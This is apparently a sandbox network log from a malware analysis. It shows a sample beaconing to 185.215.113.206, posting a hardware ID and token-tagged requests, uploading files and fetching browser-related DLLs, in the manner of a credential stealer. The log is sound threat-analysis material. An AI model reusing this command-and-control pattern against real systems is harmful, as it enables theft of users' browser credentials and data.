Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 31 34 31 42 37 45 34 39 44 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="hwid"4141B7E49D7B1953448019------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="build"tale------ECAEGHIJEHJDHIDHIDAE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="message"browsers------HJJJJKEHCAKFBFHJKEHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"plugins------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJECBKKECFIEBGCAKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------EHJJECBKKECFIEBGCAKJContent-Disposition: form-data; name="message"fplugins------EHJJECBKKECFIEBGCAKJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.206Content-Length: 5699Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"------KEBGHCBAEGDHIDGCBAEC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file"------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
